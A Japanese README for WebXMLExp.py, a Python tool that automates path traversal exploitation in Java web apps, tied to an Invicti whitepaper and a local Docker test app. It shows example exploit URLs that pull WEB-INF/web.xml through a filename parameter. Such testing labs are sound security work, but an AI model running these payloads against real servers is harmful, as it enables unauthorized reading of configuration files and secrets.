
Java Webアプリケーションにおけるパストラバーサル脆弱性の悪用を支援するツール
Java Webアプリケーションにおけるパストラバーサル脆弱性の悪用を支援するツールです。
このツールは、Invicti Securityのホワイトペーパー Java Webアプリケーションにおけるパストラバーサル脆弱性の悪用 で紹介されています。
このツールにはPython3が必要です。
次のコマンドを実行してください:
pip install -r requirements.txt
インストール後、以下のようにエクスプロイトURLを指定してください:
usage: python WebXMLExp.py <url_with_web_xml_exploit_or_inject_here_marker>
結果(ダウンロードされたファイル)は results フォルダに格納されます。
python WebXMLExp.py "http://127.0.0.1:8082/vulnerable/download.servlet?filename=WEB-INF/web.xml"
python WebXMLExp.py "http://127.0.0.1:8082/vulnerable/download.servlet?filename=<INJECT-HERE>"
パストラバーサル脆弱性を持つWebアプリケーションが docker フォルダに用意されています。
起動するには、docker フォルダに入り、次のコマンドを実行してください:
docker-compose up
アプリケーションは http://127.0.0.1:8082/vulnerable/ でアクセスできます。
パストラバーサル脆弱性を悪用するには、次のURLにアクセスしてください: http://127.0.0.1:8082/vulnerable/download.servlet?filename=WEB-INF/web.xml